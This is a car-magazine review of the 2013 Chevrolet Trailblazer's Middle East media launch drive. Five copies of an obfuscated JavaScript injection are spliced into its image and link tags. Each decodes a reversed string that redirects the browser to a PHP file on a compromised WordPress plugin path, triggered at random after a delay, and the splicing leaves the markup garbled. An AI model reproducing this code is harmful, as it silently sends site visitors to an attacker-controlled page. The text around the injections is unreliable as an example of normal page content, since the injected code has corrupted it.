2013 Chevrolet Trailblazer. ‘Ruthless’ Terrain

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/chevrolet-trailblazer-rak-001.jpg” width=”728″ height=”524″ />

You may remember the Chevrolet Trailblazer’s inaugural appearance as a conceptual(ish) model at last year’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/round-up-part-1-dubai-motor-show/” target=”_blank”>Dubai Motor Show. But after hundreds upon thousands of testing kilometres in Brazil and Thailand, Chevy’s latest SUV has now landed in the Middle East. Cue the frenzy as hungry-eyed members of the media grapple for a go behind the wheel.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/chevrolet-trailblazer-rak-002.jpg” width=”728″ height=”522″ />

Granted, an SUV launch drive doesn’t sound like your traditional crankandpiston fodder, more akin as we are to screaming tyres, brake-melting straight-line speeds and wallet-buckling amounts of stampeding horses. On the other hand though, GM has touted the new Trailblazer as possibly their most important model launch of the year, given the prowess of SUVs in the region. And with the possibility of future dune-bashing on the horizon, we thought it at least worth checking out the newboy.

That, plus an invite to Ras Al Khaimah’s Banyan Tree Al Wadi resort dangled under our noses proved a good incentive too.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/chevrolet-trailblazer-rak-003.jpg” width=”728″ height=”523″ />

We therefore start our road test of the new Trailblazer at a bleary-eyed 7.30am in the morning. The temperatures are set to rocket later on in the day, and since the afternoon leg includes a sprint across the multitude of sand the resort is surrounded by, the boys and girls at GM thought it best to get the road section over and done with before the assembled media keels over with heat exhaustion. So, with stomachs filled thanks to delicacies from the on-site omelette station, it’s time to get cracking.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/chevrolet-trailblazer-rak-004.jpg” width=”728″ height=”525″ />

We assemble before our charges for the afternoon – amidst loud musings concerning who gets first dibs behind the wheel – and this gives us the chance to weigh up the new look of the Trailblazer. It’s been around since 2002 let’s not forget, and general consensus is that Chevy has done a pretty good job. There is elegance to the smooth body contours, as well as a refreshing butchness to the bumpers and new air intakes.

Categories: Road

,,,,,

Comments are closed